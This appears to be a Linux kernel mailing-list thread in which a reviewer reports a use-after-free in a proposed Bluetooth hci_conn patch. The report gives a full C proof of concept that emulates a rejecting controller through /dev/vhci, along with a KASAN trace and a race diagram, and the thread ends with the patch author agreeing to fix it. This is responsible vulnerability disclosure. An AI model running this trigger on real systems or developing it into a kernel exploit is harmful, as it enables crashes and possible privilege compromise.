> static void send_cs(uint16_t o, uint8_t s) {
> uint8_t p[4] = {s, 1, o & 0xff, (o >> 8) & 0xff};
> send_evt(HCI_EV_CMD_STATUS, p, 4);
> }
>
> static void *init_thr(void *a)
> {
> (void)a;
> uint16_t o; uint8_t p[256]; int pl;
> while (1) {
> if (read_cmd(&o, p, &pl, 2000) < 0) { usleep(50000); continue; }
> if (o == HCI_OP_CREATE_CONN) {
> /* Reject with Command Status error 0x2e */
> send_cs(o, 0x2e);
> saw_conn = 1;
> continue;
> }
> if (o == HCI_OP_RESET) { send_ok(o); continue; }
> /* ... handle many other HCI commands for init ... */
> send_ok(o);
> }
> return 0;
> }
>
> struct mgmt_hdr { uint16_t opcode, index, len; } __attribute__((packed));
> #define MGMT_OP_SET_POWERED 0x0005
> #define MGMT_OP_SET_CONNECTABLE 0x000b
>
> int main(void)
> {
> printf("[*] open vhci\n");
> vhci_fd = open("/dev/vhci", O_RDWR);
> if (vhci_fd < 0) { perror("vhci"); return 1; }
> uint8_t c[2] = {HCI_VENDOR_PKT, 0}; write(vhci_fd, c, 2);
>
> printf("[*] start vhci init thread\n");
> pthread_t t; pthread_create(&t, 0, init_thr, 0);
> sleep(6);
>
> /* Power on via MGMT */
> int mgmt = socket(AF_BLUETOOTH, SOCK_RAW, BTPROTO_HCI);
> if (mgmt >= 0) {
> struct sockaddr_hci ha = {AF_BLUETOOTH, 0xffff,
> HCI_CHANNEL_CONTROL};
> if (bind(mgmt, (struct sockaddr *)&ha, sizeof(ha)) == 0) {
> uint8_t cmd[256];
> struct mgmt_hdr *hdr = (struct mgmt_hdr *)cmd;
> hdr->opcode = MGMT_OP_SET_POWERED; hdr->index = 0; hdr->len
> = 1;
> cmd[sizeof(*hdr)] = 1;
> write(mgmt, cmd, sizeof(*hdr) + 1);
> usleep(200000);
> hdr->opcode = MGMT_OP_SET_CONNECTABLE;
> write(mgmt, cmd, sizeof(*hdr) + 1);
> usleep(200000);
> }
> close(mgmt);
> }
>
> /* L2CAP connect triggers hci_connect_acl → hci_acl_create_conn_sync */
> printf("[*] L2CAP connect (trigger)\n");
> int l2 = socket(AF_BLUETOOTH, SOCK_SEQPACKET, BTPROTO_L2CAP);
> if (l2 >= 0) {
> struct sockaddr_l2 ba; memset(&ba, 0, sizeof(ba));
> ba.l2_family = AF_BLUETOOTH; ba.l2_bdaddr_type = BDADDR_BREDR;
> bind(l2, (struct sockaddr *)&ba, sizeof(ba));
> struct sockaddr_l2 ca; memset(&ca, 0, sizeof(ca));
> ca.l2_family = AF_BLUETOOTH; ca.l2_psm = 1;
> ca.l2_bdaddr_type = BDADDR_BREDR;
> memset(ca.l2_bdaddr, 0x11, 6);
> connect(l2, (struct sockaddr *)&ca, sizeof(ca));
> close(l2);
> }
> usleep(500000);
> pthread_cancel(t); pthread_join(t, 0); close(vhci_fd);
> printf("[*] done. Check dmesg for KASAN slab-use-after-free.\n");
> return 0;
> }
> ---8<---
>
> Hope this helps with the patch. Let me know if you need additional
> information from the test setup.
>
> [1]
> https://sashiko.dev/#/patchset/20260611152039.2176565-1-oss%40fourdim.xyz
Thanks for your review. I will send a new patch to fix this.
I would like to add a suggested by if i have your permission.
Best,
Siwei
^ permalink raw reply [flat|nested] 10+ messages in thread
* Re: [PATCH v3] Bluetooth: hci_conn: Fix null ptr deref in hci_abort_conn()
2026-06-15 12:38 ` Siwei Zhang
@ 2026-06-15 12:45 ` XIAO WU
0 siblings, 0 replies; 10+ messages in thread
From: XIAO WU @ 2026-06-15 12:45 UTC (permalink / raw)
To: Siwei Zhang, Luiz Augusto von Dentz; +Cc: linux-bluetooth
Hi Siwei,
Thanks for your reply and I’m glad my feedback was helpful. You
definitely have my permission to add the "Suggested-by" tag.
Best,
XIAO WU
在 15/6/26 下午8:38, Siwei Zhang 写道:
> Hi Xiao Wu,
>
> On Sat, Jun 13, 2026, at 6:40 AM, XIAO WU wrote:
>> Hi Siwei,
>>
>> On Thu, 11 Jun 2026 11:19:52 -0400, Siwei Zhang wrote:
>> > Bluetooth: hci_conn: Fix null ptr deref in hci_abort_conn()
>>
>> This patch correctly fixes the NULL dereference in hci_abort_conn() by
>> tracking in-flight create commands with HCI_CONN_CREATE.
>>
>> I noticed a Sashiko review[1] of this patch flagged that the new
>> clear_bit(HCI_CONN_CREATE, &conn->flags) calls after
>> __hci_cmd_sync_status_sk() introduce a use-after-free. I wrote a PoC
>> to verify this and was able to trigger it reliably on a KASAN-enabled
>> kernel.
>>
>> The race:
>>
>> If the controller rejects the ACL connection attempt (e.g. via
>> Command Status with a non-zero status), the RX thread processes the
>> rejection in hci_cs_create_conn() → hci_conn_del(), freeing the
>> hci_conn object. Shortly after, __hci_cmd_sync_status_sk() returns
>> the error to hci_acl_create_conn_sync() on the hci_cmd_sync_work
>> worker, which then writes to the freed conn via clear_bit().
>>
>> My PoC opens /dev/vhci, creates a virtual controller that responds to
>> HCI_OP_CREATE_CONN with Command Status error 0x2e, powers on the
>> controller, and triggers an L2CAP connect. This reliably hits:
>>
>> ==================================================================
>> BUG: KASAN: slab-use-after-free in hci_acl_create_conn_sync+0x3c6/0x600
>> Write of size 8 at addr ffff88802eed2950 by task kworker/u11:0/57
>> Workqueue: hci0 hci_cmd_sync_work
>>
>> Call Trace:
>> <TASK>
>> dump_stack_lvl+0x116/0x1f0
>> print_report+0xf4/0x600
>> kasan_report+0xe0/0x110
>> kasan_check_range+0x100/0x1b0
>> hci_acl_create_conn_sync+0x3c6/0x600 <-- clear_bit on freed conn
>> hci_cmd_sync_work+0x1b0/0x480
>> process_one_work+0xa20/0x1c50
>> worker_thread+0x6df/0xf30
>> kthread+0x387/0x4a0
>>
>> Allocated by task 9349 (L2CAP connect):
>> __hci_conn_add+0xfd/0x1df0
>> hci_conn_add_unset+0x7b/0x130
>> hci_connect_acl+0x4aa/0x7c0
>> l2cap_chan_connect+0x779/0x2160
>> l2cap_sock_connect+0x381/0x7a0
>>
>> Freed by task 9353 (RX thread):
>> kfree+0x171/0x720
>> device_release+0xd7/0x280
>> hci_conn_del_sysfs+0x17b/0x1a0
>> hci_conn_del+0x685/0x11d0
>> hci_cs_create_conn+0x1e9/0x430 <-- controller rejection
>> hci_cmd_status_evt+0x267/0x790
>> hci_event_packet+0x521/0xce0
>> hci_rx_work+0x2ce/0x1030
>> ==================================================================
>>
>> The race window:
>>
>> hci_acl_create_conn_sync() hci_rx_work()
>> ========================== ==============
>> __hci_cmd_sync_status_sk(...) hci_cs_create_conn()
>> → waiting for controller reply → hci_conn_del()
>> → kfree(conn)
>> clear_bit(HCI_CONN_CREATE,
>> &conn->flags); ← UAF
>>
>> The same pattern exists in hci_le_create_conn_sync().
>>
>> One possible fix: take a reference on conn before the cmd_sync call
>> and drop it after clear_bit(), or move the clear_bit to a point where
>> the conn is still guaranteed to be alive. The Sashiko review[1]
>> points out a few other issues in the same patch as well.
>>
>> I wrote the following PoC. It opens /dev/vhci, emulates a controller
>> that rejects CREATE_CONN, powers up via MGMT, and triggers an L2CAP
>> connect to exercise the race.
>>
>> ---8<--- poc.c ---
>> /*
>> * PoC for UAF in hci_acl_create_conn_sync()
>> *
>> * Opens /dev/vhci, creates a virtual HCI controller that responds to
>> * HCI_OP_CREATE_CONN with Command Status 0x2e
>> (HCI_ERROR_COMMAND_DISALLOWED).
>> * The RX thread processes this via hci_cs_create_conn() and frees the
>> conn,
>> * while the hci_cmd_sync_work worker then hits the UAF in clear_bit().
>> *
>> * Build: gcc -Wall -O2 -o poc poc.c -lpthread
>> * Run: ./poc (root, KASAN-enabled kernel, vhci loaded)
>> */
>> #define _GNU_SOURCE
>> #include <stdio.h>
>> #include <stdlib.h>
>> #include <string.h>
>> #include <unistd.h>
>> #include <fcntl.h>
>> #include <errno.h>
>> #include <sys/socket.h>
>> #include <sys/poll.h>
>> #include <pthread.h>
>> #include <stdint.h>
>>
>> #define HCI_COMMAND_PKT 0x01
>> #define HCI_EVENT_PKT 0x04
>> #define HCI_VENDOR_PKT 0xff
>> #define HCI_EV_CMD_COMPLETE 0x0e
>> #define HCI_EV_CMD_STATUS 0x0f
>> #define HCI_OP_CREATE_CONN 0x0405
>> #define HCI_OP_RESET 0x0c03
>> #define BTPROTO_L2CAP 0
>> #define BTPROTO_HCI 1
>> #define BDADDR_BREDR 0x00
>> #define HCI_CHANNEL_CONTROL 3
>>
>> struct sockaddr_l2 {
>> uint16_t l2_family, l2_psm;
>> uint8_t l2_bdaddr[6];
>> uint16_t l2_cid;
>> uint8_t l2_bdaddr_type;
>> } __attribute__((packed));
>>
>> struct sockaddr_hci {
>> uint16_t hci_family, hci_dev, hci_channel;
>> };
>>
>> static volatile int vhci_fd = -1;
>> static volatile int saw_conn = 0;
>>
>> static int send_evt(uint8_t e, const void *d, uint8_t dl)
>> {
>> uint8_t b[512];
>> b[0] = HCI_EVENT_PKT; b[1] = e; b[2] = dl;
>> if (dl && d) memcpy(b + 3, d, dl);
>> return write(vhci_fd, b, 3 + dl);
>> }
>>
>> static int read_cmd(uint16_t *o, uint8_t *p, int *pl, int tmo)
>> {
>> uint8_t b[8192];
>> struct pollfd pf = {.fd = vhci_fd, .events = POLLIN};
>> int r = poll(&pf, 1, tmo);
>> if (r <= 0) return -1;
>> r = read(vhci_fd, b, sizeof(b));
>> if (r < 4 || b[0] != HCI_COMMAND_PKT) return -1;
>> *o = b[1] | (b[2] << 8); *pl = b[3];
>> if (p && *pl) memcpy(p, b + 4, (*pl < r - 4) ? *pl : r - 4);
>> return 1;
>> }
>>
>> static void send_ok(uint16_t o) { uint8_t r[1] = {0};
>> send_evt(HCI_EV_CMD_COMPLETE, r, 1); }
>> static void send_cc(uint16_t o, const void *rd, uint8_t rl) {
>> send_evt(HCI_EV_CMD_COMPLETE, rd, rl); }
>> static void send_cs(uint16_t o, uint8_t s) {
>> uint8_t p[4] = {s, 1, o & 0xff, (o >> 8) & 0xff};
>> send_evt(HCI_EV_CMD_STATUS, p, 4);
>> }
>>
>> static void *init_thr(void *a)
>> {
>> (void)a;
>> uint16_t o; uint8_t p[256]; int pl;
>> while (1) {
>> if (read_cmd(&o, p, &pl, 2000) < 0) { usleep(50000); continue; }
>> if (o == HCI_OP_CREATE_CONN) {
>> /* Reject with Command Status error 0x2e */
>> send_cs(o, 0x2e);
>> saw_conn = 1;
>> continue;
>> }
>> if (o == HCI_OP_RESET) { send_ok(o); continue; }
>> /* ... handle many other HCI commands for init ... */
>> send_ok(o);
>> }
>> return 0;
>> }
>>
>> struct mgmt_hdr { uint16_t opcode, index, len; } __attribute__((packed));
>> #define MGMT_OP_SET_POWERED 0x0005
>> #define MGMT_OP_SET_CONNECTABLE 0x000b
>>
>> int main(void)
>> {
>> printf("[*] open vhci\n");
>> vhci_fd = open("/dev/vhci", O_RDWR);
>> if (vhci_fd < 0) { perror("vhci"); return 1; }
>> uint8_t c[2] = {HCI_VENDOR_PKT, 0}; write(vhci_fd, c, 2);
>>
>> printf("[*] start vhci init thread\n");
>> pthread_t t; pthread_create(&t, 0, init_thr, 0);
>> sleep(6);
>>
>> /* Power on via MGMT */
>> int mgmt = socket(AF_BLUETOOTH, SOCK_RAW, BTPROTO_HCI);
>> if (mgmt >= 0) {
>> struct sockaddr_hci ha = {AF_BLUETOOTH, 0xffff,
>> HCI_CHANNEL_CONTROL};
>> if (bind(mgmt, (struct sockaddr *)&ha, sizeof(ha)) == 0) {
>> uint8_t cmd[256];
>> struct mgmt_hdr *hdr = (struct mgmt_hdr *)cmd;
>> hdr->opcode = MGMT_OP_SET_POWERED; hdr->index = 0; hdr->len
>> = 1;
>> cmd[sizeof(*hdr)] = 1;
>> write(mgmt, cmd, sizeof(*hdr) + 1);
>> usleep(200000);
>> hdr->opcode = MGMT_OP_SET_CONNECTABLE;
>> write(mgmt, cmd, sizeof(*hdr) + 1);
>> usleep(200000);
>> }
>> close(mgmt);
>> }
>>
>> /* L2CAP connect triggers hci_connect_acl → hci_acl_create_conn_sync */
>> printf("[*] L2CAP connect (trigger)\n");
>> int l2 = socket(AF_BLUETOOTH, SOCK_SEQPACKET, BTPROTO_L2CAP);
>> if (l2 >= 0) {
>> struct sockaddr_l2 ba; memset(&ba, 0, sizeof(ba));
>> ba.l2_family = AF_BLUETOOTH; ba.l2_bdaddr_type = BDADDR_BREDR;
>> bind(l2, (struct sockaddr *)&ba, sizeof(ba));
>> struct sockaddr_l2 ca; memset(&ca, 0, sizeof(ca));
>> ca.l2_family = AF_BLUETOOTH; ca.l2_psm = 1;
>> ca.l2_bdaddr_type = BDADDR_BREDR;
>> memset(ca.l2_bdaddr, 0x11, 6);
>> connect(l2, (struct sockaddr *)&ca, sizeof(ca));
>> close(l2);
>> }
>> usleep(500000);
>> pthread_cancel(t); pthread_join(t, 0); close(vhci_fd);
>> printf("[*] done. Check dmesg for KASAN slab-use-after-free.\n");
>> return 0;
>> }
>> ---8<---
>>
>> Hope this helps with the patch. Let me know if you need additional
>> information from the test setup.
>>
>> [1]
>> https://sashiko.dev/#/patchset/20260611152039.2176565-1-oss%40fourdim.xyz
>
> Thanks for your review. I will send a new patch to fix this.
> I would like to add a suggested by if i have your permission.
>
> Best,
> Siwei
^ permalink raw reply [flat|nested] 10+ messages in thread
end of thread, other threads:[~2026-06-15 12:46 UTC | newest]
Thread overview: 10+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-06-11 15:19 [PATCH v3] Bluetooth: hci_conn: Fix null ptr deref in hci_abort_conn() Siwei Zhang
2026-06-11 15:36 ` Luiz Augusto von Dentz
2026-06-11 15:51 ` Siwei Zhang
2026-06-11 16:07 ` Luiz Augusto von Dentz
2026-06-11 16:05 ` Pauli Virtanen
2026-06-11 19:20 ` [v3] " bluez.test.bot
2026-06-11 19:40 ` Luiz Augusto von Dentz
2026-06-13 10:40 ` [PATCH v3] " XIAO WU
2026-06-15 12:38 ` Siwei Zhang
2026-06-15 12:45 ` XIAO WU
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox